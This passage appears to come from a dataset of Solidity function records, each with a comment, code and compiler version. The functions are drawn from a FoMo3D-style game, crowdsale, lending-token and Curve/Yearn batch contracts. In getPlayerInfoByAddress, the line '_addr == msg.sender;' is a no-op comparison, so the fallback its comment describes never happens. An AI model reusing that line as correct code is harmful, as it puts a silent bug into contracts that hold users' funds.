rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n\r\n if (_now < round_[_rID].end)\r\n if (_now > round_[_rID].strt + rndGap_)\r\n return( (round_[_rID].end).sub(_now) );\r\n else\r\n return( (round_[_rID].strt + rndGap_).sub(_now) );\r\n else\r\n return(0);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns player earnings per vaults\r\n * -functionhash- 0x63066434\r\n * @return winnings vault\r\n * @return general vault\r\n * @return affiliate vault\r\n */", "function_code": "function getPlayerVaults(uint256 _pID)\r\n public\r\n view\r\n returns(uint256 ,uint256, uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // if round has ended. but round end has not been run (so contract has not distributed winnings)\r\n if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)\r\n {\r\n // if player is winner\r\n if (round_[_rID].plyr == _pID)\r\n {\r\n return\r\n (\r\n (plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),\r\n (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),\r\n plyr_[_pID].aff\r\n );\r\n // if player is not the winner\r\n } else {\r\n return\r\n (\r\n plyr_[_pID].win,\r\n (plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),\r\n plyr_[_pID].aff\r\n );\r\n }\r\n\r\n // if round is still going on, or round has ended and round end has been ran\r\n } else {\r\n return\r\n (\r\n plyr_[_pID].win,\r\n (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),\r\n plyr_[_pID].aff\r\n );\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns all current round info needed for front end\r\n * -functionhash- 0x747dff42\r\n * @return eth invested during ICO phase\r\n * @return round id\r\n * @return total keys for round\r\n * @return time round ends\r\n * @return time round started\r\n * @return current pot\r\n * @return current team ID & player ID in lead\r\n * @return current player in leads address\r\n * @return current player in leads name\r\n * @return whales eth in for round\r\n * @return bears eth in for round\r\n * @return sneks eth in for round\r\n * @return bulls eth in for round\r\n * @return airdrop tracker # & airdrop pot\r\n */", "function_code": "function getCurrentRoundInfo()\r\n public\r\n view\r\n returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n return\r\n (\r\n round_[_rID].ico, //0\r\n _rID, //1\r\n round_[_rID].keys, //2\r\n round_[_rID].end, //3\r\n round_[_rID].strt, //4\r\n round_[_rID].pot, //5\r\n (round_[_rID].team + (round_[_rID].plyr * 10)), //6\r\n plyr_[round_[_rID].plyr].addr, //7\r\n plyr_[round_[_rID].plyr].name, //8\r\n rndTmEth_[_rID][0], //9\r\n rndTmEth_[_rID][1], //10\r\n rndTmEth_[_rID][2], //11\r\n rndTmEth_[_rID][3], //12\r\n airDropTracker_ + (airDropPot_ * 1000) //13\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns player info based on address. if no address is given, it will\r\n * use msg.sender\r\n * -functionhash- 0xee0b5d8b\r\n * @param _addr address of the player you want to lookup\r\n * @return player ID\r\n * @return player name\r\n * @return keys owned (current round)\r\n * @return winnings vault\r\n * @return general vault\r\n * @return affiliate vault\r\n \t * @return player round eth\r\n */", "function_code": "function getPlayerInfoByAddress(address _addr)\r\n public\r\n view\r\n returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n if (_addr == address(0))\r\n {\r\n _addr == msg.sender;\r\n }\r\n uint256 _pID = pIDxAddr_[_addr];\r\n\r\n return\r\n (\r\n _pID, //0\r\n plyr_[_pID].name, //1\r\n plyrRnds_[_pID][_rID].keys, //2\r\n plyr_[_pID].win, //3\r\n (plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4\r\n plyr_[_pID].aff, //5\r\n plyrRnds_[_pID][_rID].eth //6\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns the amount of keys you would get given an amount of eth.\r\n * -functionhash- 0xce89c80c\r\n * @param _rID round ID you want price for\r\n * @param _eth amount of eth sent in\r\n * @return keys received\r\n */", "function_code": "function calcKeysReceived(uint256 _rID, uint256 _eth)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // are we in a round?\r\n if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))\r\n return ( (round_[_rID].eth).keysRec(_eth) );\r\n else // rounds over. need keys for new round\r\n return ( (_eth).keys() );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev returns current eth price for X keys.\r\n * -functionhash- 0xcf808000\r\n * @param _keys number of keys desired (in 18 decimal format)\r\n * @return amount of eth needed to send\r\n */", "function_code": "function iWantXKeys(uint256 _keys)\r\n public\r\n view\r\n returns(uint256)\r\n {\r\n // setup local rID\r\n uint256 _rID = rID_;\r\n\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // are we in a round?\r\n if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))\r\n return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );\r\n else // rounds over. need price for new round\r\n return ( (_keys).eth() );\r\n }", "version": "0.4.24"} {"comment": "/**\r\n \t * @dev receives name/player info from names contract\r\n */", "function_code": "function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)\r\n external\r\n {\r\n require (msg.sender == address(PlayerBook), \"your not playerNames contract... hmmm..\");\r\n if (pIDxAddr_[_addr] != _pID)\r\n pIDxAddr_[_addr] = _pID;\r\n if (pIDxName_[_name] != _pID)\r\n pIDxName_[_name] = _pID;\r\n if (plyr_[_pID].addr != _addr)\r\n plyr_[_pID].addr = _addr;\r\n if (plyr_[_pID].name != _name)\r\n plyr_[_pID].name = _name;\r\n if (plyr_[_pID].laff != _laff)\r\n plyr_[_pID].laff = _laff;\r\n if (plyrNames_[_pID][_name] == false)\r\n plyrNames_[_pID][_name] = true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev gets existing or registers new pID. use this when a player may be new\r\n * @return pID\r\n */", "function_code": "function determinePID(F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n returns (F3Ddatasets.EventReturns)\r\n {\r\n uint256 _pID = pIDxAddr_[msg.sender];\r\n // if player is new to this version of fomo3d\r\n if (_pID == 0)\r\n {\r\n // grab their player ID, name and last aff ID, from player names contract\r\n _pID = PlayerBook.getPlayerID(msg.sender);\r\n bytes32 _name = PlayerBook.getPlayerName(_pID);\r\n uint256 _laff = PlayerBook.getPlayerLAff(_pID);\r\n\r\n // set up player account\r\n pIDxAddr_[msg.sender] = _pID;\r\n plyr_[_pID].addr = msg.sender;\r\n\r\n if (_name != \"\")\r\n {\r\n pIDxName_[_name] = _pID;\r\n plyr_[_pID].name = _name;\r\n plyrNames_[_pID][_name] = true;\r\n }\r\n\r\n if (_laff != 0 && _laff != _pID)\r\n plyr_[_pID].laff = _laff;\r\n\r\n // set the new player bool to true\r\n _eventData_.compressedData = _eventData_.compressedData + 1;\r\n }\r\n return (_eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev decides if round end needs to be run & new round started. and if\r\n * player unmasked earnings from previously played rounds need to be moved.\r\n */", "function_code": "function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n returns (F3Ddatasets.EventReturns)\r\n {\r\n // if player has played a previous round, move their unmasked earnings\r\n // from that round to gen vault.\r\n if (plyr_[_pID].lrnd != 0)\r\n updateGenVault(_pID, plyr_[_pID].lrnd);\r\n\r\n // update player's last round played\r\n plyr_[_pID].lrnd = rID_;\r\n\r\n // set the joined round bool to true\r\n _eventData_.compressedData = _eventData_.compressedData + 10;\r\n\r\n return(_eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev moves any unmasked earnings to gen vault. updates earnings mask\r\n */", "function_code": "function updateGenVault(uint256 _pID, uint256 _rIDlast)\r\n private\r\n {\r\n uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);\r\n if (_earnings > 0)\r\n {\r\n // put in gen vault\r\n plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);\r\n // zero out their earnings by updating mask\r\n plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);\r\n }\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev updates round timer based on number of whole keys bought.\r\n */", "function_code": "function updateTimer(uint256 _keys, uint256 _rID)\r\n private\r\n {\r\n // grab time\r\n uint256 _now = now;\r\n\r\n // calculate time based on number of keys bought\r\n uint256 _newTime;\r\n if (_now > round_[_rID].end && round_[_rID].plyr == 0)\r\n _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);\r\n else\r\n _newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);\r\n\r\n // compare to max and set new end time\r\n if (_newTime < (rndMax_).add(_now))\r\n round_[_rID].end = _newTime;\r\n else\r\n round_[_rID].end = rndMax_.add(_now);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev distributes eth based on fees to com, aff, and p3d\r\n */", "function_code": "function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n returns(F3Ddatasets.EventReturns)\r\n {\r\n // pay 2% out to community rewards\r\n uint256 _com = _eth / 50;\r\n\r\n // distribute share to affiliate\r\n uint256 _aff = _eth / 10;\r\n\r\n // decide what to do with affiliate share of fees\r\n // affiliate must not be self, and must have a name registered\r\n if (_affID != _pID && plyr_[_affID].name != '') {\r\n plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);\r\n emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);\r\n } else {\r\n _com = _com.add(_aff);\r\n }\r\n\r\n uint256 _mkt = _eth.mul(fees_[_team].marketing) / 100;\r\n _com = _com.add(_mkt);\r\n owner.transfer(_com);\r\n\r\n _eventData_.mktAmount = _mkt;\r\n// _eventData_.comAmount = _com;\r\n return(_eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev distributes eth based on fees to gen and pot\r\n */", "function_code": "function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n returns(F3Ddatasets.EventReturns)\r\n {\r\n // calculate gen share\r\n uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;\r\n\r\n // toss 1% into airdrop pot\r\n uint256 _air = (_eth / 100);\r\n airDropPot_ = airDropPot_.add(_air);\r\n\r\n uint256 cut = (fees_[_team].marketing).add(13);\r\n _eth = _eth.sub(_eth.mul(cut) / 100);\r\n\r\n // calculate pot\r\n uint256 _pot = _eth.sub(_gen);\r\n\r\n // distribute gen share (thats what updateMasks() does) and adjust\r\n // balances for dust.\r\n uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);\r\n if (_dust > 0) {\r\n _gen = _gen.sub(_dust);\r\n }\r\n\r\n // add eth to pot\r\n round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);\r\n\r\n // set up event data\r\n _eventData_.genAmount = _gen.add(_eventData_.genAmount);\r\n _eventData_.potAmount = _pot;\r\n\r\n return(_eventData_);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev adds up unmasked earnings, & vault earnings, sets them all to 0\r\n * @return earnings in wei format\r\n */", "function_code": "function withdrawEarnings(uint256 _pID)\r\n private\r\n returns(uint256)\r\n {\r\n // update gen vault\r\n updateGenVault(_pID, plyr_[_pID].lrnd);\r\n\r\n // from vaults\r\n uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);\r\n if (_earnings > 0)\r\n {\r\n plyr_[_pID].win = 0;\r\n plyr_[_pID].gen = 0;\r\n plyr_[_pID].aff = 0;\r\n }\r\n\r\n return(_earnings);\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev prepares compression data and fires event for buy or reload tx's\r\n */", "function_code": "function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)\r\n private\r\n {\r\n _eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);\r\n _eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);\r\n\r\n emit F3Devents.onEndTx\r\n (\r\n _eventData_.compressedData,\r\n _eventData_.compressedIDs,\r\n plyr_[_pID].name,\r\n msg.sender,\r\n _eth,\r\n _keys,\r\n _eventData_.winnerAddr,\r\n _eventData_.winnerName,\r\n _eventData_.amountWon,\r\n _eventData_.newPot,\r\n _eventData_.mktAmount,\r\n// _eventData_.comAmount,\r\n _eventData_.genAmount,\r\n _eventData_.potAmount,\r\n airDropPot_\r\n );\r\n }", "version": "0.4.24"} {"comment": "/**\n * @dev Escrow finalization task, called when finalize() is called.\n */", "function_code": "function _finalization() internal {\n if (goalReached()) {\n //escrow used to get transferred here, but that allows people to withdraw tokens before LP is created\n } else {\n _escrow.enableRefunds();\n }\n\n super._finalization();\n }", "version": "0.5.0"} {"comment": "/**\r\n * @dev Transfer token for a specified address\r\n * @param _token erc20 The address of the ERC20 contract\r\n * @param _to address The address which you want to transfer to\r\n * @param _value uint256 the _value of tokens to be transferred\r\n */", "function_code": "function safeTransfer(IERC20 _token, address _to, uint256 _value) internal returns (bool) {\r\n uint256 prevBalance = _token.balanceOf(address(this));\r\n\r\n require(prevBalance >= _value, \"Insufficient funds\");\r\n\r\n _token.transfer(_to, _value);\r\n\r\n require(prevBalance - _value == _token.balanceOf(address(this)), \"Transfer failed\");\r\n\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "/**\r\n * @dev Allow contract owner to withdraw ERC-20 balance from contract\r\n * while still splitting royalty payments to all other team members.\r\n * in the event ERC-20 tokens are paid to the contract.\r\n * @param _tokenContract contract of ERC-20 token to withdraw\r\n * @param _amount balance to withdraw according to balanceOf of ERC-20 token\r\n */", "function_code": "function withdrawAllERC20(address _tokenContract, uint256 _amount) public onlyOwner {\r\n require(_amount > 0);\r\n IERC20 tokenContract = IERC20(_tokenContract);\r\n require(tokenContract.balanceOf(address(this)) >= _amount, 'Contract does not own enough tokens');\r\n\r\n for(uint i=0; i < payableAddressCount; i++ ) {\r\n tokenContract.transfer(payableAddresses[i], (_amount * payableFees[i]) / 100);\r\n }\r\n }", "version": "0.8.9"} {"comment": "/**\n * @dev Withdraw tokens only after crowdsale ends.\n * @param beneficiary Whose tokens will be withdrawn.\n */", "function_code": "function withdrawTokens(address beneficiary) public {\n require(goalReached(), \"RefundableCrowdsale: goal not reached\");\n //require(hasClosed(), \"PostDeliveryCrowdsale: not closed\");\n require(finalized(), \"Withdraw Tokens: crowdsale not finalized\");\n uint256 amount = _balances[beneficiary];\n require(amount > 0, \"PostDeliveryCrowdsale: beneficiary is not due any tokens\");\n\n _balances[beneficiary] = 0;\n //_vault.transfer(token(), beneficiary, amount); //so taxes are avoided\n _deliverTokens(address(beneficiary), amount);\n }", "version": "0.5.0"} {"comment": "/**\n * @dev Extend crowdsale.\n * @param newClosingTime Crowdsale closing time\n */", "function_code": "function _extendTime(uint256 newClosingTime) internal {\n require(!hasClosed(), \"TimedCrowdsale: already closed\");\n // solhint-disable-next-line max-line-length\n require(newClosingTime > _closingTime, \"TimedCrowdsale: new closing time is before current closing time\");\n\n emit TimedCrowdsaleExtended(_closingTime, newClosingTime);\n _closingTime = newClosingTime;\n }", "version": "0.5.0"} {"comment": "/**\r\n \t * @notice Performs the minting of gcToken shares upon the deposit of the\r\n \t * cToken underlying asset. The funds will be pulled in by this\r\n \t * contract, therefore they must be previously approved. This\r\n \t * function builds upon the GTokenBase deposit function. See\r\n \t * GTokenBase.sol for further documentation.\r\n \t * @param _underlyingCost The amount of the underlying asset being\r\n \t * deposited in the operation.\r\n \t */", "function_code": "function depositUnderlying(uint256 _underlyingCost) public override nonReentrant\r\n\t{\r\n\t\taddress _from = msg.sender;\r\n\t\trequire(_underlyingCost > 0, \"underlying cost must be greater than 0\");\r\n\t\tuint256 _cost = GCFormulae._calcCostFromUnderlyingCost(_underlyingCost, exchangeRate());\r\n\t\t(uint256 _netShares, uint256 _feeShares) = GFormulae._calcDepositSharesFromCost(_cost, totalReserve(), totalSupply(), depositFee());\r\n\t\trequire(_netShares > 0, \"shares must be greater than 0\");\r\n\t\tG.pullFunds(underlyingToken, _from, _underlyingCost);\r\n\t\tGC.safeLend(reserveToken, _underlyingCost);\r\n\t\trequire(_prepareDeposit(_cost), \"not available at the moment\");\r\n\t\t_mint(_from, _netShares);\r\n\t\t_mint(address(this), _feeShares.div(2));\r\n\t}", "version": "0.6.12"} {"comment": "/**\r\n \t * @notice Performs the burning of gcToken shares upon the withdrawal of\r\n \t * the underlying asset. This function builds upon the\r\n \t * GTokenBase withdrawal function. See GTokenBase.sol for\r\n \t * further documentation.\r\n \t * @param _grossShares The gross amount of this gcToken shares being\r\n \t * redeemed in the operation.\r\n \t */", "function_code": "function withdrawUnderlying(uint256 _grossShares) public override nonReentrant\r\n\t{\r\n\t\taddress _from = msg.sender;\r\n\t\trequire(_grossShares > 0, \"shares must be greater than 0\");\r\n\t\t(uint256 _cost, uint256 _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, totalReserve(), totalSupply(), withdrawalFee());\r\n\t\tuint256 _underlyingCost = GCFormulae._calcUnderlyingCostFromCost(_cost, exchangeRate());\r\n\t\trequire(_underlyingCost > 0, \"underlying cost must be greater than 0\");\r\n\t\trequire(_prepareWithdrawal(_cost), \"not available at the moment\");\r\n\t\t_underlyingCost = G.min(_underlyingCost, GC.getLendAmount(reserveToken));\r\n\t\tGC.safeRedeem(reserveToken, _underlyingCost);\r\n\t\tG.pushFunds(underlyingToken, _from, _underlyingCost);\r\n\t\t_burn(_from, _grossShares);\r\n\t\t_mint(address(this), _feeShares.div(2));\r\n\t}", "version": "0.6.12"} {"comment": "// @notice Multiplies two numbers, throws on overflow.", "function_code": "function mul(uint256 a, uint256 b) internal pure returns (uint256) {\r\n if (a == 0) {\r\n return 0;\r\n }\r\n uint256 c = a * b;\r\n assert(c / a == b);\r\n return c;\r\n }", "version": "0.4.25"} {"comment": "// @notice Integer division of two numbers, truncating the quotient.", "function_code": "function div(uint256 a, uint256 b) internal pure returns (uint256) {\r\n // assert(b > 0); // Solidity automatically throws when dividing by 0\r\n // uint256 c = a / b;\r\n // assert(a == b * c + a % b); // There is no case in which this doesn't hold\r\n return a / b;\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice Deposits funds in the current mint batch\n * @param _amount Amount of 3cr3CRV to use for minting\n * @param _depositFor User that gets the shares attributed to (for use in zapper contract)\n */", "function_code": "function depositForMint(uint256 _amount, address _depositFor)\n external\n nonReentrant\n whenNotPaused\n onlyApprovedContractOrEOA\n {\n require(\n _hasRole(keccak256(\"ButterZapper\"), msg.sender) || msg.sender == _depositFor,\n \"you cant transfer other funds\"\n );\n require(threeCrv.balanceOf(msg.sender) >= _amount, \"insufficent balance\");\n threeCrv.transferFrom(msg.sender, address(this), _amount);\n _deposit(_amount, currentMintBatchId, _depositFor);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice This function allows a user to withdraw their funds from a batch before that batch has been processed\n * @param _batchId From which batch should funds be withdrawn from\n * @param _amountToWithdraw Amount of Butter or 3CRV to be withdrawn from the queue (depending on mintBatch / redeemBatch)\n * @param _withdrawFor User that gets the shares attributed to (for use in zapper contract)\n */", "function_code": "function withdrawFromBatch(\n bytes32 _batchId,\n uint256 _amountToWithdraw,\n address _withdrawFor\n ) external {\n address recipient = _getRecipient(_withdrawFor);\n\n Batch storage batch = batches[_batchId];\n uint256 accountBalance = accountBalances[_batchId][_withdrawFor];\n require(batch.claimable == false, \"already processed\");\n require(accountBalance >= _amountToWithdraw, \"account has insufficient funds\");\n\n //At this point the account balance is equal to the supplied token and can be used interchangeably\n accountBalances[_batchId][_withdrawFor] = accountBalance - _amountToWithdraw;\n batch.suppliedTokenBalance = batch.suppliedTokenBalance - _amountToWithdraw;\n batch.unclaimedShares = batch.unclaimedShares - _amountToWithdraw;\n\n if (batch.batchType == BatchType.Mint) {\n threeCrv.safeTransfer(recipient, _amountToWithdraw);\n } else {\n setToken.safeTransfer(recipient, _amountToWithdraw);\n }\n emit WithdrawnFromBatch(_batchId, _amountToWithdraw, _withdrawFor);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Claims funds after the batch has been processed (get Butter from a mint batch and 3CRV from a redeem batch)\n * @param _batchId Id of batch to claim from\n * @param _claimFor User that gets the shares attributed to (for use in zapper contract)\n */", "function_code": "function claim(bytes32 _batchId, address _claimFor) external returns (uint256) {\n (address recipient, BatchType batchType, uint256 accountBalance, uint256 tokenAmountToClaim) = _prepareClaim(\n _batchId,\n _claimFor\n );\n //Transfer token\n if (batchType == BatchType.Mint) {\n setToken.safeTransfer(recipient, tokenAmountToClaim);\n } else {\n //We only want to apply a fee on redemption of Butter\n //Sweethearts are partner addresses that we want to exclude from this fee\n if (!sweethearts[_claimFor]) {\n //Fee is deducted from threeCrv -- This allows it to work with the Zapper\n //Fes are denominated in BasisPoints\n uint256 fee = (tokenAmountToClaim * redemptionFee.rate) / 10_000;\n redemptionFee.accumulated += fee;\n tokenAmountToClaim = tokenAmountToClaim - fee;\n }\n threeCrv.safeTransfer(recipient, tokenAmountToClaim);\n }\n emit Claimed(recipient, batchType, accountBalance, tokenAmountToClaim);\n\n return tokenAmountToClaim;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Claims BTR after batch has been processed and stakes it in Staking.sol\n * @param _batchId Id of batch to claim from\n * @param _claimFor User that gets the shares attributed to (for use in zapper contract)\n */", "function_code": "function claimAndStake(bytes32 _batchId, address _claimFor) external {\n (address recipient, BatchType batchType, uint256 accountBalance, uint256 tokenAmountToClaim) = _prepareClaim(\n _batchId,\n _claimFor\n );\n emit Claimed(recipient, batchType, accountBalance, tokenAmountToClaim);\n\n //Transfer token\n require(batchType == BatchType.Mint, \"Can only stake BTR\");\n staking.stakeFor(tokenAmountToClaim, recipient);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice sets approval for contracts that require access to assets held by this contract\n */", "function_code": "function setApprovals() external {\n (address[] memory tokenAddresses, ) = setBasicIssuanceModule.getRequiredComponentUnitsForIssue(setToken, 1e18);\n\n for (uint256 i; i < tokenAddresses.length; i++) {\n IERC20 curveLpToken = curvePoolTokenPairs[tokenAddresses[i]].crvLPToken;\n CurveMetapool curveMetapool = curvePoolTokenPairs[tokenAddresses[i]].curveMetaPool;\n YearnVault yearnVault = YearnVault(tokenAddresses[i]);\n\n _maxApprove(curveLpToken, address(curveMetapool));\n _maxApprove(curveLpToken, address(yearnVault));\n _maxApprove(threeCrv, address(curveMetapool));\n }\n _maxApprove(IERC20(address(setToken)), address(staking));\n }", "version": "0.8.1"} {"comment": "/**\n * @notice returns the min amount of butter that should be minted given an amount of 3crv\n * @dev this controls slippage in the minting process\n */", "function_code": "function getMinAmountToMint(\n uint256 _valueOfBatch,\n uint256 _valueOfComponentsPerUnit,\n uint256 _slippage\n ) public pure returns (uint256) {\n uint256 _mintAmount = (_valueOfBatch * 1e18) / _valueOfComponentsPerUnit;\n uint256 _delta = (_mintAmount * _slippage) / 10_000;\n return _mintAmount - _delta;\n }", "version": "0.8.1"} {"comment": "// ACTIONS WITH OWN TOKEN", "function_code": "function sendToNest(\r\n address _sender,\r\n uint256 _eggId\r\n ) external onlyController returns (bool, uint256, uint256, address) {\r\n require(!getter.isEggOnSale(_eggId), \"egg is on sale\");\r\n require(core.isEggOwner(_sender, _eggId), \"not an egg owner\");\r\n\r\n uint256 _hatchingPrice = treasury.hatchingPrice();\r\n treasury.takeGold(_hatchingPrice);\r\n if (getter.getDragonsAmount() > 2997) { // 2997 + 2 (in the nest) + 1 (just sent) = 3000 dragons without gold burning\r\n treasury.burnGold(_hatchingPrice.div(2));\r\n }\r\n\r\n return core.sendToNest(_eggId);\r\n }", "version": "0.4.25"} {"comment": "/**\n * @notice returns the value of butter in virtualPrice\n */", "function_code": "function valueOfComponents(address[] memory _tokenAddresses, uint256[] memory _quantities)\n public\n view\n returns (uint256)\n {\n uint256 value;\n for (uint256 i = 0; i < _tokenAddresses.length; i++) {\n value +=\n (((YearnVault(_tokenAddresses[i]).pricePerShare() *\n curvePoolTokenPairs[_tokenAddresses[i]].curveMetaPool.get_virtual_price()) / 1e18) * _quantities[i]) /\n 1e18;\n }\n return value;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice makes sure only zapper or user can withdraw from accout_ and returns the recipient of the withdrawn token\n * @param _account is the address which gets withdrawn from\n * @dev returns recipient of the withdrawn funds\n * @dev By default a user should set _account to their address\n * @dev If zapper is used to withdraw and swap for a user the msg.sender will be zapper and _account is the user which we withdraw from. The zapper than sends the swapped funds afterwards to the user\n */", "function_code": "function _getRecipient(address _account) internal view returns (address) {\n //Make sure that only zapper can withdraw from someone else\n require(_hasRole(keccak256(\"ButterZapper\"), msg.sender) || msg.sender == _account, \"you cant transfer other funds\");\n\n //Set recipient per default to _account\n address recipient = _account;\n\n //set the recipient to zapper if its called by the zapper\n if (_hasRole(keccak256(\"ButterZapper\"), msg.sender)) {\n recipient = msg.sender;\n }\n return recipient;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Generates the next batch id for new deposits\n * @param _currentBatchId takes the current mint or redeem batch id\n * @param _batchType BatchType of the newly created id\n */", "function_code": "function _generateNextBatch(bytes32 _currentBatchId, BatchType _batchType) internal returns (bytes32) {\n bytes32 id = _generateNextBatchId(_currentBatchId);\n batchIds.push(id);\n Batch storage batch = batches[id];\n batch.batchType = _batchType;\n batch.batchId = id;\n\n if (BatchType.Mint == _batchType) {\n currentMintBatchId = id;\n batch.suppliedTokenAddress = address(threeCrv);\n batch.claimableTokenAddress = address(setToken);\n }\n if (BatchType.Redeem == _batchType) {\n currentRedeemBatchId = id;\n batch.suppliedTokenAddress = address(setToken);\n batch.claimableTokenAddress = address(threeCrv);\n }\n return id;\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Deposit either Butter or 3CRV in their respective batches\n * @param _amount The amount of 3CRV or Butter a user is depositing\n * @param _currentBatchId The current reedem or mint batch id to place the funds in the next batch to be processed\n * @param _depositFor User that gets the shares attributed to (for use in zapper contract)\n * @dev This function will be called by depositForMint or depositForRedeem and simply reduces code duplication\n */", "function_code": "function _deposit(\n uint256 _amount,\n bytes32 _currentBatchId,\n address _depositFor\n ) internal {\n Batch storage batch = batches[_currentBatchId];\n\n //Add the new funds to the batch\n batch.suppliedTokenBalance = batch.suppliedTokenBalance + _amount;\n batch.unclaimedShares = batch.unclaimedShares + _amount;\n accountBalances[_currentBatchId][_depositFor] = accountBalances[_currentBatchId][_depositFor] + _amount;\n\n //Save the batchId for the user so they can be retrieved to claim the batch\n if (\n accountBatches[_depositFor].length == 0 ||\n accountBatches[_depositFor][accountBatches[_depositFor].length - 1] != _currentBatchId\n ) {\n accountBatches[_depositFor].push(_currentBatchId);\n }\n\n emit Deposit(_depositFor, _amount);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice This function checks all requirements for claiming, updates batches and balances and returns the values needed for the final transfer of tokens\n * @param _batchId Id of batch to claim from\n * @param _claimFor User that gets the shares attributed to (for use in zapper contract)\n */", "function_code": "function _prepareClaim(bytes32 _batchId, address _claimFor)\n internal\n returns (\n address,\n BatchType,\n uint256,\n uint256\n )\n {\n Batch storage batch = batches[_batchId];\n require(batch.claimable, \"not yet claimable\");\n\n address recipient = _getRecipient(_claimFor);\n uint256 accountBalance = accountBalances[_batchId][_claimFor];\n require(accountBalance <= batch.unclaimedShares, \"claiming too many shares\");\n\n //Calculate how many token will be claimed\n uint256 tokenAmountToClaim = (batch.claimableTokenBalance * accountBalance) / batch.unclaimedShares;\n\n //Subtract the claimed token from the batch\n batch.claimableTokenBalance = batch.claimableTokenBalance - tokenAmountToClaim;\n batch.unclaimedShares = batch.unclaimedShares - accountBalance;\n accountBalances[_batchId][_claimFor] = 0;\n\n return (recipient, batch.batchType, accountBalance, tokenAmountToClaim);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Deposit 3CRV in a curve metapool for its LP-Token\n * @param _amount The amount of 3CRV that gets deposited\n * @param _curveMetapool The metapool where we want to provide liquidity\n */", "function_code": "function _sendToCurve(uint256 _amount, CurveMetapool _curveMetapool) internal {\n //Takes 3CRV and sends lpToken to this contract\n //Metapools take an array of amounts with the exoctic stablecoin at the first spot and 3CRV at the second.\n //The second variable determines the min amount of LP-Token we want to receive (slippage control)\n _curveMetapool.add_liquidity([0, _amount], 0);\n }", "version": "0.8.1"} {"comment": "/**\n * @notice Withdraws 3CRV for deposited crvLPToken\n * @param _amount The amount of crvLPToken that get deposited\n * @param _curveMetapool The metapool where we want to provide liquidity\n */", "function_code": "function _withdrawFromCurve(uint256 _amount, CurveMetapool _curveMetapool) internal {\n //Takes lp Token and sends 3CRV to this contract\n //The second variable is the index for the token we want to receive (0 = exotic stablecoin, 1 = 3CRV)\n //The third variable determines min amount of token we want to receive (slippage control)\n 